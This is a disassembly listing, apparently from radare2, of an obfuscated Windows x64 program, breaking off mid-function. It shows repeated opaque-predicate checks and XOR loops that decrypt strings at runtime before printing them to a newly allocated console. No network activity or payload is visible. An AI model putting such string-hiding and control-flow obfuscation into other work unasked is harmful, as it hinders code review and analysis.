subsd xmm1, xmm0
mov eax, r12d
movzx esi, byte [rsp + 0x41]
test sil, sil
sete al
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm1, xmm0
movsd qword [rsp + 0x70], xmm1
call fcn.1400042c0
movsx edx, al
call fcn.1400042b0
movsx ecx, al
imul edx, ecx
call fcn.1400042f0
movsx ecx, al
lea eax, [rcx + rdx*4]
movsx ecx, byte [0x140017004]
add eax, ecx
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000d30f
call fcn.1400042d0
movsx edx, al
movsx eax, byte [0x140017340]
imul edx, eax
lea r8d, [rdx + rdx*2]
call fcn.140004300
movsx ecx, al
sub r8d, ecx
call fcn.1400042e0
movsx ecx, al
add r8d, ecx
movsx ecx, byte [0x140017001]
add ecx, r8d
je 0x14000d30f
mov r9d, r14d
jmp 0x14000d3a7
call fcn.1400042c0
movsx edx, al
call fcn.1400042b0
movsx ecx, al
imul edx, ecx
lea edx, [rdx + rdx*4]
call fcn.1400042f0
movsx ecx, al
lea eax, [rcx + rdx*2]
movsx ecx, byte [0x140017004]
add eax, ecx
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000d3a2
call fcn.1400042c0
movsx edx, al
call fcn.1400042b0
movsx ecx, al
imul edx, ecx
lea edx, [rdx + rdx*4]
call fcn.1400042f0
movsx ecx, al
lea eax, [rcx + rdx*2]
movsx ecx, byte [0x140017004]
add eax, ecx
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x70]
cvttsd2si r9d, xmm0
jmp 0x14000d3a7
mov r9d, dword [rsp + 0x78]
call fcn.1400042c0
movsx edx, al
call fcn.1400042b0
movsx ecx, al
imul edx, ecx
call fcn.1400042f0
movsx ecx, al
lea eax, [rcx + rdx*2]
movsx ecx, byte [0x140017004]
add eax, ecx
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
imul eax, r9d
test eax, eax
je 0x14000e678
call qword [sym.imp.KERNEL32.dll_AllocConsole]
mov ecx, r13d
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov rdi, rax
mov byte [rbp - 0x3f], r12b
lea rdx, [rbp]
lea rcx, [rbp - 0x3f]
call fcn.140002800
mov rbx, rax
movzx ecx, byte [rax + 1]
test cl, cl
je 0x14000d425
xor byte [rax], 0x39
xor cl, 0x3a
mov byte [rax + 1], cl
mov byte [rbp - 0x3e], r12b
lea rdx, [rbp + 0x40]
lea rcx, [rbp - 0x3e]
call fcn.1400026a0
mov r10, rax
mov r15d, dword [0x140017010]
cmp byte [rax + 7], r12b
je 0x14000d593
cmp r15d, 2
jl 0x14000d556
movdqa xmm4, xmmword [0x140011af0]
movdqa xmm2, xmmword [0x140011aa0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140011ac0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140011ad0]
packuswb xmm2, xmm2
mov eax, dword [str.9999999999999999]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10]
xorps xmm2, xmm0
movd dword [r10], xmm2
movdqa xmm3, xmmword [0x140011ab0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140011ac0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140011ad0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm2, xmm0
movd dword [r10 + 4], xmm2
jmp 0x14000d593
mov r9, r10
mov r8d, r12d
nop dword [rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x14000d560
mov r9, rdi
mov r8, rbx
mov rdx, r10
lea rcx, [rbp + 0x1a8]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_freopen_s]
call fcn.1400042c0
movsx edx, al
call fcn.1400042b0
movsx ecx, al
imul edx, ecx
lea edx, [rdx + rdx*4]
call fcn.1400042f0
movsx ecx, al
lea eax, [rcx + rdx*2]
movsx ecx, byte [0x140017004]
add eax, ecx
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000db61
mov rax, r12
cmp qword [rbp + 0x200], rax
setne al
xorps xmm2, xmm2
cvtsi2sd xmm2, rax
movsx eax, byte [0x140017002]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x140017001]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x70], xmm1
call fcn.1400042c0
movsx edx, al
call fcn.1400042b0
movsx ecx, al
imul edx, ecx
call fcn.1400042f0
movsx ecx, al
lea eax, [rcx + rdx*4]
movsx ecx, byte [0x140017004]
add eax, ecx
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000d6af
call fcn.1400042d0
movsx edx, al
movsx eax, byte [0x140017340]
imul edx, eax
lea r8d, [rdx + rdx*2]
call fcn.140004300
movsx ecx, al
sub r8d, ecx
call fcn.1400042e0
movsx ecx, al
add r8d, ecx
movsx ecx, byte [0x140017001]
add ecx, r8d
je 0x14000d6af
mov r10d, r14d
jmp 0x14000d747
call fcn.1400042c0
movsx edx, al
call fcn.1400042b0
movsx ecx, al
imul edx, ecx
lea edx, [rdx + rdx*4]
call fcn.1400042f0
movsx ecx, al
lea eax, [rcx + rdx*2]
movsx ecx, byte [0x140017004]
add eax, ecx
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000d742
call fcn.1400042c0
movsx edx, al
call fcn.1400042b0
movsx ecx, al
imul edx, ecx
lea edx, [rdx + rdx*4]
call fcn.1400042f0
movsx ecx, al
lea eax, [rcx + rdx*2]
movsx ecx, byte [0x140017004]
add eax, ecx
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x70]
cvttsd2si r10d, xmm0
jmp 0x14000d747
mov r10d, dword [rsp + 0x78]
call fcn.1400042c0
movsx edx, al
call fcn.1400042b0
movsx ecx, al
imul edx, ecx
lea r9d, [rdx + rdx*4]
call fcn.1400042f0
movsx eax, al
add eax, r9d
movsx ecx, byte [0x140017004]
add eax, ecx
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
imul eax, r10d
test eax, eax
je 0x14000db61
mov rbx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov byte [rbp - 0x58], r12b
lea rdx, [rbp + 0x108]
lea rcx, [rbp - 0x58]
call fcn.140002960
mov r9, rax
cmp byte [rax + 0x1e], r12b
je 0x14000d93e
mov ecx, r12d
cmp r15d, 2
jl 0x14000d90a
movdqa xmm5, xmmword [0x140011aa0]
movdqa xmm4, xmmword [0x140011af0]
movdqa xmm6, xmmword [0x140011ac0]
movdqa xmm0, xmmword [str.9999999999999999]
movdqa xmmword [rsp + 0x50], xmm0
mov rdx, rax
mov r8d, dword [rsp + 0x50]
nop word [rax + rax]
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140011ad0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
lea eax, [rcx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140011ad0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx + 4]
xorps xmm2, xmm0
movd dword [rdx + 4], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x18
jl 0x14000d800
cmp ecx, 0x1f
jge 0x14000d93e
movsxd r8, ecx
add r8, r9
mov eax, 0xa0a0a0a1
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x33
movzx eax, cl
sub al, dl
add al, 0x39
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x1f
jl 0x14000d910
mov rdx, r9
mov rcx, rbx
call fcn.140001010
lea rdx, [rbp + 0x1f0]
cmp qword [rbp + 0x208], 0xf
cmova rdx, qword [rbp + 0x1f0]
mov r8, qword [rbp + 0x200]
mov rcx, rax
call fcn.140001270
lea rdx, [0x140001760]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rbx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov byte [rbp - 0x43], r12b
lea rdx, [rbp + 0x88]
lea rcx, [rbp - 0x43]
call fcn.140002af0
mov r9, rax
cmp byte [rax + 0x10], r12b
je 0x14000db20
mov ecx, r12d
cmp r15d, 2
jl 0x14000daec
movdqa xmm5, xmmword [0x140011aa0]
movdqa xmm4, xmmword [0x140011af0]
movdqa xmm6, xmmword [0x140011ac0]
movdqa xmm0, xmmword [str.9999999999999999]
movdqa xmmword [rsp + 0x50], xmm0
mov rdx, rax
mov r8d, dword [rsp + 0x50]
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140011ad0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
lea eax, [rcx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140011ad0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx + 4]
xorps xmm2, xmm0
movd dword [rdx + 4], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x10
jl 0x14000d9e2
cmp ecx, 0x11
jge 0x14000db20
movsxd r8, ecx
add r8, r9
mov eax, 0xa0a0a0a1
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x33
movzx eax, cl
sub al, dl
add al, 0x39
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x11
jl 0x14000daf2
mov rdx, r9
mov rcx, rbx
call fcn.140001010
lea rdx, [rbp + 0x1d0]
cmp qword [rbp + 0x1e8], 0xf
cmova rdx, qword [rbp + 0x1d0]
mov r8, qword [rbp + 0x1e0]
mov rcx, rax
call fcn.140001270
lea rdx, [0x140001760]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
call fcn.1400042c0
movsx edx, al
call fcn.1400042b0
movsx ecx, al
imul edx, ecx
imul r9d, edx, 7
call fcn.1400042f0
movsx eax, al
add eax, r9d
movsx ecx, byte [0x140017004]
add eax, ecx
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000def9
movsx eax, byte [0x140017002]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x140017001]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
movd xmm0, esi
cvtdq2pd xmm0, xmm0
mulsd xmm1, xmm0
movsd qword [rsp + 0x70], xmm1
call fcn.1400042c0
movsx edx, al
call fcn.1400042b0
movsx ecx, al
imul edx, ecx
call fcn.1400042f0
movsx ecx, al
lea eax, [rcx + rdx*4]
movsx ecx, byte [0x140017004]
add eax, ecx
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000dc5b
call fcn.1400042d0
movsx edx, al
movsx eax, byte [0x140017340]
imul edx, eax
lea r8d, [rdx + rdx*2]
call fcn.140004300
movsx ecx, al
sub r8d, ecx
call fcn.1400042e0
movsx ecx, al
add r8d, ecx
movsx ecx, byte [0x140017001]
add ecx, r8d
je 0x14000dc5b
mov r9d, r14d
jmp 0x14000dcf3
call fcn.1400042c0
movsx edx, al
call fcn.1400042b0
movsx ecx, al
imul edx, ecx
lea edx, [rdx + rdx*4]
call fcn.1400042f0
movsx ecx, al
lea eax, [rcx + rdx*2]
movsx ecx, byte [0x140017004]
add eax, ecx
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000dcee
call fcn.1400042c0
movsx edx, al
call fcn.1400042b0
movsx ecx, al
imul edx, ecx
lea edx, [rdx + rdx*4]
call fcn.1400042f0
movsx ecx, al
lea eax, [rcx + rdx*2]
movsx ecx, byte [0x140017004]
add eax, ecx
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x70]
cvttsd2si r9d, xmm0
jmp 0x14000dcf3
mov r9d, dword [rsp + 0x78]
call fcn.1400042c0
movsx edx, al
call fcn.1400042b0
movsx ecx, al
imul edx, ecx
call fcn.1400042f0
movsx ecx, al
lea eax, [rcx + rdx*8]
movsx ecx, byte [0x140017004]
add eax, ecx
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
imul eax, r9d
test eax, eax
je 0x14000def9
mov rbx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov byte [rbp - 0x57], r12b
lea rdx, [rbp + 0xb8]
lea rcx, [rbp - 0x57]
call fcn.140002f30
mov r9, rax
cmp byte [rax + 0x13], r12b
je 0x14000dede
mov ecx, r12d
cmp r15d, 2
jl 0x14000deaa
movdqa xmm5, xmmword [0x140011aa0]
movdqa xmm4, xmmword [0x140011af0]
movdqa xmm6, xmmword [0x140011ac0]
movdqa xmm0, xmmword [str.9999999999999999]
movdqa xmmword [rsp + 0x50], xmm0
mov rdx, rax
mov r8d, dword [rsp + 0x50]
nop dword [rax]
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140011ad0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
lea eax, [rcx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140011ad0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx + 4]
xorps xmm2, xmm0
movd dword [rdx + 4], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x10
jl 0x14000dda0
cmp ecx, 0x14
jge 0x14000dede
movsxd r8, ecx
add r8, r9
mov eax, 0xa0a0a0a1
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x33
movzx eax, cl
sub al, dl
add al, 0x39
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x14
jl 0x14000deb0
mov rdx, r9
mov rcx, rbx
call fcn.140001010
lea rdx, [0x140001760]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
call fcn.1400042c0
movsx edx, al
call fcn.1400042b0
movsx ecx, al
imul edx, ecx
call fcn.1400042f0
movsx ecx, al
lea eax, [rcx + rdx*4]
movsx ecx, byte [0x140017004]
add eax, ecx
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000e29b
movsx eax, byte [0x140017002]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x140017001]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
movzx esi, byte [rsp + 0x40]
movd xmm0, esi
cvtdq2pd xmm0, xmm0
mulsd xmm1, xmm0
movsd qword [rsp + 0x70], xmm1
call fcn.1400042c0
movsx edx, al
call fcn.1400042b0
movsx ecx, al
imul edx, ecx
call fcn.1400042f0
movsx ecx, al
lea eax, [rcx + rdx*4]
movsx ecx, byte [0x140017004]
add eax, ecx
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000dff4
call fcn.1400042d0
movsx edx, al
movsx eax, byte [0x140017340]
imul edx, eax
lea r8d, [rdx + rdx*2]
call fcn.140004300
movsx ecx, al
sub r8d, ecx
call fcn.1400042e0
movsx ecx, al
add r8d, ecx
movsx ecx, byte [0x140017001]
add ecx, r8d
je 0x14000dff4
mov r10d, r14d
jmp 0x14000e08c
call fcn.1400042c0
movsx edx, al
call fcn.1400042b0
movsx ecx, al
imul edx, ecx
lea edx, [rdx + rdx*4]
call fcn.1400042f0
movsx ecx, al
lea eax, [rcx + rdx*2]
movsx ecx, byte [0x140017004]
add eax, ecx
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000e087
call fcn.1400042c0
movsx edx, al
call fcn.1400042b0
movsx ecx, al
imul edx, ecx
lea edx, [rdx + rdx*4]
call fcn.1400042f0
movsx ecx, al
lea eax, [rcx + rdx*2]
movsx ecx, byte [0x140017004]
add eax, ecx
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x70]
cvttsd2si r10d, xmm0
jmp 0x14000e08c
mov r10d, dword [rsp + 0x78]
call fcn.1400042c0
movsx edx, al
call fcn.1400042b0
movsx ecx, al
imul edx, ecx
lea r9d, [rdx + rdx*4]
call fcn.1400042f0
movsx eax, al
add eax, r9d
movsx ecx, byte [0x140017004]
add eax, ecx
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
imul eax, r10d
test eax, eax
je 0x14000e2a0
mov rbx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov byte [rbp - 0x56], r12b
lea rdx, [rbp + 0xe8]
lea rcx, [rbp - 0x56]
call fcn.1400030a0
mov r9, rax
cmp byte [rax + 0x1c], r12b
je 0x14000e27e
mov ecx, r12d
cmp r15d, 2
jl 0x14000e24a
movdqa xmm5, xmmword [0x140011aa0]
movdqa xmm4, xmmword [0x140011af0]
movdqa xmm6, xmmword [0x140011ac0]
movdqa xmm0, xmmword [str.9999999999999999]
movdqa xmmword [rsp + 0x50], xmm0
mov rdx, rax
mov r8d, dword [rsp + 0x50]
nop word [rax + rax]
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140011ad0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
lea eax, [rcx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140011ad0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx + 4]
xorps xmm2, xmm0
movd dword [rdx + 4], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x18
jl 0x14000e140
cmp ecx, 0x1d
jge 0x14000e27e
movsxd r8, ecx
add r8, r9
mov eax, 0xa0a0a0a1
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x33
movzx eax, cl
sub al, dl
add al, 0x39
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x1d
jl 0x14000e250
mov rdx, r9
mov rcx, rbx
call fcn.140001010
lea rdx, [0x140001760]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x14000e2a0
movzx esi, byte [rsp + 0x40]
call fcn.1400042c0
movsx r9d, al
call fcn.1400042b0
movsx ecx, al
imul r9d, ecx
call fcn.1400042f0
movsx eax, al
add eax, r9d
movsx ecx, byte [0x140017004]
add eax, ecx
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
mov edi, r13d
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000e67d
mov rax, r12
cmp qword [rbp + 0x1c0], rax
setne al
xorps xmm2, xmm2
cvtsi2sd xmm2, rax
movsx eax, byte [0x140017002]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x140017001]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x70], xmm1
call fcn.1400042c0
movsx edx, al
call fcn.1400042b0
movsx ecx, al
imul edx, ecx
call fcn.1400042f0
movsx ecx, al
lea eax, [rcx + rdx*4]
movsx ecx, byte [0x140017004]
add eax, ecx
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000e3a8
call fcn.1400042d0
movsx edx, al
movsx eax, byte [0x140017340]
imul edx, eax
lea r8d, [rdx + rdx*2]
call fcn.140004300
movsx ecx, al
sub r8d, ecx
call fcn.1400042e0
movsx ecx, al
add r8d, ecx
movsx ecx, byte [0x140017001]
add ecx, r8d
je 0x14000e3a8
mov r9d, r14d
jmp 0x14000e440
call fcn.1400042c0
movsx edx, al
call fcn.1400042b0
movsx ecx, al
imul edx, ecx
lea edx, [rdx + rdx*4]
call fcn.1400042f0
movsx ecx, al
lea eax, [rcx + rdx*2]
movsx ecx, byte [0x140017004]
add eax, ecx
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000e43b
call fcn.1400042c0
movsx edx, al
call fcn.1400042b0
movsx ecx, al
imul edx, ecx
lea edx, [rdx + rdx*4]
call fcn.1400042f0
movsx ecx, al
lea eax, [rcx + rdx*2]
movsx ecx, byte [0x140017004]
add eax, ecx
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x70]
cvttsd2si r9d, xmm0
jmp 0x14000e440
mov r9d, dword [rsp + 0x78]
call fcn.1400042c0
movsx edx, al
call fcn.1400042b0
movsx ecx, al
imul edx, ecx
call fcn.1400042f0
movsx ecx, al
lea eax, [rcx + rdx*2]
movsx ecx, byte [0x140017004]
add eax, ecx
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
imul eax, r9d
test eax, eax
je 0x14000e67d
mov rbx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov byte [rbp - 0x55], r12b
lea rdx, [rbp + 0xd0]
